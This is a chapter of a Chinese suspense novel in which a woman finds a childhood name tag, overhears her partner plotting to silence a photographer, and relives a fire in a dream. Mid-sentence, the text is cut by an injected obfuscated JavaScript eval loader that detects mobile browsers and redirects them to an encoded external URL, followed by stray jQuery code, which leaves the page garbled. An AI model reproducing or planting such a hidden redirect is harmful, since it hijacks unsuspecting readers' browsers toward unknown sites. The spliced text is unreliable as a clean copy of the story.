从老城区回来后，林溪没有直接回家。她坐地铁穿越半个城市，在江边公园的长椅上坐了很久。江水浑浊，缓慢地向东流去，货轮的汽笛声沉闷悠长。她反复回想吴师傅的话：“那场火之后……小心姓沈的……”
火。沈。
她打开手机，又搜索了一次“沈栋 阳光之家火灾 1998”。这次她用了更精确的关键词组合，在某个地方论坛的归档区，找到了一条2005年的旧帖。帖子标题是：“有没有人记得西城老孤儿院那场火？”
发帖人ID是“往事如烟”，内容很简单：“小时候住西城，记得1998年夏天阳光之家起过火，当时传得挺邪乎，说有孩子死了，后来又说没有。到底怎么回事？有人知道内情吗？”
下面有三条回复，时间都在发帖当天：
“路过”：这种事别瞎打听。
“知情人”：火是真起了，但没死人，别乱传谣言。
“老西城”：听说有个大老板压下去了，具体不清楚。
帖子到此为止，没有更多讨论。林溪盯着“大老板压下去了”这几个字，指尖发凉。她截屏保存，又尝试点开发帖人和回复者的头像——都是默认头像，最后登录时间显示在十年前。
一种被精心擦拭过的感觉。
她关掉手机，看着江面。夕阳开始西沉，把江水染成暗金色。她想起照片上那两个孩子握紧的手，想起周屿看到照片时那一瞬间的瞳孔收缩。如果那个男孩是周屿，为什么他完全不记得？如果那场火真的“没死人”，为什么她的记忆会是一片空白？
晚上七点，林溪回到家。新家已经收拾得差不多了，客厅亮着暖黄色的灯，周屿正在厨房做饭，抽油烟机的轰鸣声里传来煎牛排的滋滋声。
“回来了？”周屿从厨房探出头，系着那条她买的蓝色格子围裙，“马上好，洗手准备吃饭。”
一切如常。林溪放下包，走到厨房门口。周屿背对着她，正专注地给牛排翻面。他的动作熟练，肩背线条在灯光下显得很放松。有那么一瞬间，林溪几乎要相信下午的一切只是自己的臆想。
“今天项目顺利吗？”周屿问，没回头。
“还行。”林溪说，“你呢？”
“老样子，开了三个会，改了五版方案。”他关火，把牛排盛到盘子里，“对了，我今天收拾书房，找到些老东西。”
林溪心里一紧：“什么老东西？”
“我小时候的一些杂物。”周屿端着盘子走到餐桌边，“一个铁皮盒子，以前搬家时一直带着，但从来没打开过。今天闲着就打开了。”
他指了指客厅角落。那里放着一个暗红色的铁皮盒子，大约鞋盒大小，边角已经锈蚀，盒盖上印着模糊的卡通图案，像是八十年代的风格。
林溪走过去。盒子没盖严，露出里面一些零碎物件：几个生锈的变形金刚玩具、一叠褪色的贴纸、几个玻璃弹珠，最上面是一本卷边的《七龙珠》漫画。
“你小时候喜欢这个？”林溪拿起漫画翻了翻。
“可能吧，记不清了。”周屿摆好餐具，“盒子里还有些别的东西，你看看有没有想留的，没有就扔了。”
林溪蹲下来，开始整理盒子。变形金刚缺胳膊少腿，贴纸上的图案已经模糊，弹珠蒙着灰。她把东西一样样拿出来，放在地上。盒子底部铺着一层泛黄的报纸，日期是2001年。
她掀开报纸，下面是一个用旧手帕包着的东西。手帕是浅蓝色的，料子很薄，洗得发白，一角绣着一个歪歪扭扭的“文”字。
林溪慢慢打开手帕。
里面是一枚金属牌。
椭圆形，大约拇指大小，银色但已经氧化发黑，边缘磨损得厉害。顶端有个小圆环，原本应该挂着链子，现在只剩一截断掉的金属丝。牌子上刻着字，阴刻，填的漆已经剥落，但字迹还能辨认：
ZHOU Y
林溪的手指触到冰凉的金属，呼吸停住了。她翻到背面，那里还刻着一行更小的字：“1992.5.7”。
她的生日。
不对，这不是她的生日。她的身份证生日是1993年10月23日，那是她被收养时福利院估算的日期。但1992年5月7日……这个日期在她梦里出现过，不止一次。她总梦见一个蛋糕，上面插着“5”和“7”形状的蜡烛。
“找到什么了？”周屿的声音从身后传来。
林溪迅速合拢手帕，把金属牌握在手心，然后站起来，转身时已经换上轻松的表情：“没什么，就些旧玩具。”
周屿看着她，目光落在她紧握的右手上：“手帕里包的什么？”
“哦，这个。”林溪摊开手，手帕散开，露出里面的玻璃弹珠，“还挺漂亮的。”
她挑出一颗蓝色的弹珠，对着灯光看。弹珠里有彩色的漩涡，像是微型宇宙。
周屿注视了她几秒，然后笑了笑：“喜欢就留着。吃饭吧，牛排要凉了。”
晚餐的氛围很奇怪。两人都在努力维持正常的对话——聊工作，聊周末计划，聊要不要养猫养狗。但空气里有种紧绷的东西，像一层极薄的玻璃，随时可能碎裂。
林溪切着牛排，眼睛余光看着那个铁皮盒子。军牌现在在她裤子口袋里，贴着大腿，冰凉，沉重。她需要核实一件事。
“周屿，”她放下刀叉，“我记得你说过，你左手腕小时候受过伤，缝过针？”
周屿正在喝汤，闻言停顿了一下：“嗯，怎么了？”
“伤疤现在还在吗？”
“在啊，不过淡了。”周屿伸出左手，撩起袖子。手腕内侧确实有一道浅白色的疤痕，大约两厘米长，缝合痕迹不明显。
但不是痣。
林溪记得梦里那只手，手腕内侧有一颗小小的褐色痣。而周屿的手腕上，只有这道疤。
“怎么突然问这个？”周屿放下袖子。
“没什么，就是突然想起来。”林溪重新拿起刀叉，“你当时怎么受伤的？”
“爬树摔的。”周屿说得很快，太流畅了，“小时候皮，从树上掉下来，被树枝划的。”
“疼吗？”
“当时哭得可惨了。”周屿笑，“现在想想挺好笑的。”
林溪也笑了笑，没再追问。但她心里清楚：周屿在说谎。那道疤的形状和位置，不像是树枝划伤，更像是……被什么东西烫到或者割伤后，匆忙缝合留下的。
而且，他没有痣。
梦里那只手，不是周屿的手。
那么是谁的？
夜里，林溪又失眠了。军牌在她枕头下面，隔着枕套硌着后脑勺。她闭着眼睛，脑海里反复回放白天的片段：吴师傅欲言又止的脸，论坛上那条诡异的旧帖，军牌上“ZHOU Y”和“1992.5.7”的字样，还有周屿手腕上那道不合常理的疤。
凌晨两点，身侧的周屿动了一下。林溪立刻放松呼吸，假装睡着。周屿轻轻起身，下了床。她听见他赤脚踩在地板上的细微声音，然后是书房门被推开、关上的声音。
又来了。
林溪等了几分钟，然后慢慢坐起来。卧室没开灯，只有窗帘缝隙透进来的城市微光。她光脚走到门边，把耳朵贴在门上。
书房里传来极低的说话声，听不清内容，但语调急促，像是在争论什么。然后是一段沉默，接着周屿的声音稍微提高了一点：“……我知道……但她已经起疑了……”
又是一阵沉默。
林溪轻轻拧开门把手，推开一条缝。客厅一片漆黑，只有书房门下透出细长的光带。她蹑手蹑脚走过去，蹲在门口。
周屿在打电话。
“……那张照片必须处理掉……对，原件和复印件都要……她今天去见了一个老摄影师，姓吴……对，阳光照相馆那个……他跟她说了什么？……”
林溪捂住嘴，心跳如擂鼓。
“……火？他提到火了？……该死……她还问了什么？……姓沈的？他居然敢……好，我知道……钱我会打过去，但你要确保他闭嘴……不只是搬家，要彻底……”
周屿的声音压得更低，林溪听不清了。她只捕捉到几个词：“出国”“新身份”“永远消失”。
她在黑暗中睁大眼睛。周屿在安排那个吴师傅“消失”？为了什么？就因为他告诉了她火灾和姓沈的？
书房里传来椅子挪动的声音。林溪立刻后退，迅速退回卧室，轻轻关上门，躺回床上。几秒钟后，书房门开了，脚步声接近卧室。周屿在门口停留了几秒，然后推门进来。
林溪背对着他，一动不动。周屿站在床边，她能感觉到他的目光落在她背上。那目光很沉，很复杂，有审视，有犹豫，还有些她读不懂的东西。
他站了很久，久到林溪几乎要控制不住呼吸。然后床垫微微下陷，他躺了下来。他没有碰她，两人之间隔着一道无形的界限。
房间里只剩下空调运行的低鸣。
林溪闭着眼睛，脑子里一片混乱。周屿到底是谁？他在为谁工作？为什么要隐瞒这些事？那个吴师傅会有危险吗？
她想立刻起来质问他，想报警，想冲出去阻止可能发生的什么。但理智拉住了她。她没有证据，只有一枚来历不明的军牌和几个模糊的梦。而周屿显然不是一个人，他背后还有别人。
她在黑暗中睁开眼睛，盯着墙壁上光影的模糊轮廓。必须更小心，必须找到更多证据。
不知过了多久，她终于昏昏沉沉地睡去。
然后，梦来了。
这次比以往任何一次都清晰。她不再是个旁观者，而是置身其中。
热。空气是烫的，吸进肺里像火烧。浓烟从楼梯下方涌上来，黑灰色，翻滚着，带着刺鼻的塑料燃烧气味。她站在楼梯转角，大概五六岁，穿着睡裙，光着脚。楼下传来玻璃碎裂的声音，还有成年人的喊叫，但听不清内容。
一只手抓住了她的手腕。那只手很小，是个孩子的手，但力气很大。手腕内侧有一颗褐色的小痣。
“快走！”一个男孩的声音，急促，带着哭腔。
她被拉着往上跑。楼梯在摇晃，脚下的木板发烫，有些地方已经开始冒烟。她回头看了一眼，楼下大厅已经是一片火海，橙红色的火焰舔舐着墙壁，悬挂的横幅烧成扭曲的黑炭。
“别回头！”男孩喊，用力拽她。
他们跑到二楼走廊。这里烟少一些，但热浪更强烈。走廊两边的房间门都开着，有些房间已经着火，窗帘烧成灰烬，床垫冒着黑烟。
男孩拉着她跑到走廊尽头，那里有扇窗户。他推开窗户，冷空气涌进来，让人清醒了一瞬。
“跳下去！”男孩说，“下面有垫子！”
她探头看，下面确实堆着几个床垫，但距离很远，至少有三米高。
“我害怕……”她小声说。
“我抱着你。”男孩转身面对她。火光映亮他的脸——正是照片上那个男孩，但更脏，更惊恐，脸颊上有一道黑灰。
“你先跳。”他说，“我跟着你。”
她摇头，抓紧他的手：“一起。”
男孩犹豫了一下，点头。他们爬上窗台，寒风卷着火星吹过脸颊。楼下传来消防车的鸣笛声，但很远，好像永远到不了。
“数到三。”男孩说。
“一……”
“二……”
“三！”
他们跳了下去。失重的感觉让她尖叫，但叫声被风声吞没。她闭紧眼睛，等待撞击。
撞击没有到来。
她睁开眼，发现自己还在床上。天已经蒙蒙亮了，晨曦透过窗帘缝隙照进来。她全身是汗，睡衣湿透，心脏狂跳得发疼。
身侧的周屿在说梦话。
“别上去……”他的声音含糊，但听得清，“妹妹快跑……别回头……”
林溪猛地转头。周屿闭着眼，眉头紧皱，额头上全是冷汗。他在做梦，和她一样的梦。
“火……好大的火……”他继续呓语，声音里带着真实的恐惧，“抓住我的手……别松手……”
林溪屏住呼吸，轻轻靠近他。
“……爸爸……别丢下我……”周屿的声音突然变了，像个孩子，带着哭腔，“我听话……我会乖……别把我留在这里……”
然后是一串听不清的哽咽。
林溪看着他痛苦的脸，心里某个地方被狠狠揪了一下。这个在白天永远冷静、永远可靠的男人，在梦里只是一个害怕被抛弃的孩子。
她伸手想摇醒他，但手停在半空。
周屿突然睁开眼睛。
四目相对。他的眼神最初是涣散的、充满恐惧的，然后迅速聚焦，认出她，恐惧被另一种情绪取代——警惕，然后是掩饰。
“你做噩梦了。”林溪轻声说。
周屿坐起来，抹了把脸上的汗：“嗯……梦见工作上的事，方案搞砸了。”
很自然的谎言。如果林溪没听到他的梦呓，大概会信。
“你喊了‘妹妹快跑’。”林溪说。
周屿的动作僵住了。他背对着她，肩膀的线条绷紧。
“还说了‘火’‘别丢下我’。”林溪继续，“周屿，你到底梦见了什么？”
沉默在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292487|198516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房间里蔓延。窗外的鸟开始叫了，清脆，却衬得房间里的寂静更加压抑。
周屿慢慢转过身。晨光里，他的脸显得很苍白，眼下有淡淡的青黑。
“林溪，”他说，声音沙哑，“有些事……我不知道该怎么跟你说。”
“那就从头说。”林溪坐直身体，“从那张照片开始。照片上的男孩是你吗？”
周屿看着她，眼睛里有挣扎。他张了张嘴，又闭上。最后他说：“给我点时间。我需要……理清一些事情。”
“理清什么？”
“我的过去。”周屿低下头，双手插进头发里，“我好像……忘记了一些很重要的事。”
“关于火灾？”
周屿猛地抬头：“你怎么知道火灾？”
“我查了。”林溪说，“阳光之家，1998年7月，火灾。照片就是那时候拍的，对吗？”
周屿的表情变了，变得警惕，甚至有点……害怕。
“你查了多少？”他问。
“不多。但足够让我知道，你在瞒着我。”林溪下床，走到他面前，“周屿，我们在一起三年了。三年。如果有什么事让你这么痛苦，你至少可以告诉我。”
周屿站起来，比她高一个头。他伸手想碰她的脸，但手停在半空，最后落回身侧。
“林溪，”他深吸一口气，“如果……如果我告诉你，我可能不是你以为的那个人，你会怎么样？”
“什么意思？”
“我的记忆有问题。”周屿的声音很低，“有些事我记得很清楚，比如我们怎么认识，第一次约会去了哪里，你爱吃什么不爱吃什么。但有些事……比如我十岁以前的事，很模糊，像蒙着一层雾。而且每次我试图想起来，就会头疼，会做噩梦。”
“心理医生怎么说？”
“我看过几个医生，都说可能是童年创伤导致的解离性失忆。”周屿苦笑，“但没人知道具体是什么创伤。我父母离婚早，各自有家庭，我问过他们，他们说我小时候很正常，没出过什么事。”
“除了爬树摔伤手腕？”
周屿愣了一下，然后摇头：“那是我编的。实际上……”他抬起左手，看着那道疤，“我也不知道这疤怎么来的。我爸妈说是我小时候调皮自己弄的，但我没印象。”
林溪看着他。他在说实话吗？还是又一个精心编织的谎言？
“那张照片，”她说，“你看到照片时，想起了什么吗？”
周屿沉默了很久。晨光越来越亮，房间里的一切都变得清晰：没叠的被子，散落的枕头，地上她昨晚脱下的外套。
“我……”他开口，声音更哑了，“我好像记得那个院子。记得彩色滑梯，记得夏天午后的蝉鸣，记得……一个小女孩的笑声。”
“是我吗？”
“我不知道。”周屿看向她，眼神复杂，“但每次看到你笑，我总觉得……好像很久以前就见过。”
这话说得太像情话，但林溪听出了里面的不确定和困惑。
手机突然响了，是周屿的。他看了眼屏幕，脸色微变：“公司的紧急电话，我得接一下。”
他拿着手机走出卧室，关上了门。
林溪站在原地，听着他在客厅压低声音通话。几分钟后，他推门进来，已经换上了出门的衣服。
“有个项目出了紧急问题，我得去公司一趟。”他说，语气恢复了平常的冷静，“早餐你自己弄点吃的，我晚上回来。”
“周屿。”林溪叫住他。
他停在门口。
“那个吴师傅，”她说，“老城区那个摄影师。你打算对他做什么？”
周屿的背影僵住了。他缓缓转身，脸上没什么表情，但眼神很冷。
“你听到我打电话了。”
“听到了。”林溪直视他，“你要让他‘消失’？”
“是为了保护他。”周屿说，“有些人……不想让他说太多话。”
“哪些人？”
周屿摇头：“你知道得越少越好。林溪，听我一次，别再查了。那些过去的事，就让它过去吧。”
“那是我的过去。”林溪说，“我有权利知道。”
“知道又怎么样？”周屿的声音突然提高，“知道了你能改变什么？能让你父母活过来？能让你有个幸福的童年？不能！你只会更痛苦！”
这是他第一次对她大声说话。林溪愣住了。
周屿也意识到自己失控了。他闭了闭眼，语气缓和下来：“对不起。我只是……不想看你受伤。”
“但隐瞒本身就是伤害。”林溪说。
周屿看着她，很久，最后叹了口气：“晚上我们好好谈谈。我答应你，我会告诉你我知道的一切。但你也答应我，在那之前，别再去找任何人，别再查任何事。好吗？”
林溪没回答。
“答应我，林溪。”周屿的眼神几乎是恳求的。
“……好。”她最终说。
周屿似乎松了口气。他走过来，想抱她，但林溪退后了一步。他的手停在半空，然后慢慢放下。
“晚上见。”他说，转身离开。
门关上的声音很轻，但在安静的清晨里格外清晰。
林溪站在原地，直到听见电梯下行的声音。然后她快步走到窗边，往下看。几分钟后，周屿的车从地下车库开出来，驶向主干道。
她回到卧室，从枕头下拿出那枚军牌。冰冷的金属在晨光下泛着暗淡的光泽。
“ZHOU Y”和“1992.5.7”。
周屿说他不知道这牌子。但一个写着他名字缩写和他疑似生日的牌子，怎么可能和他无关？
而且，如果周屿真的失忆了，为什么他要阻止她调查？为什么他要让吴师傅“消失”？他在保护什么？或者说，他在为谁工作？
林溪打开手机，找到昨晚保存的吴师傅的地址。她必须再去找他一次，在周屿安排的人到达之前。
但她刚换好衣服，手机震动了一下。一条新短信，来自未知号码：
“别去找吴师傅。他今天早上突发脑溢血，已经送医院了。你现在去，只会被盯上。”
林溪盯着这条短信，浑身发冷。
发信人是谁？他怎么知道她要去？他怎么知道吴师傅病了？是真的病了，还是……
她拨通那个号码。忙音。
再拨，还是忙音。
她打开短信，手指颤抖着回复：“你是谁？”
几秒钟后，回复来了：
“一个知道真相的人。如果你还想活命，就按我说的做。”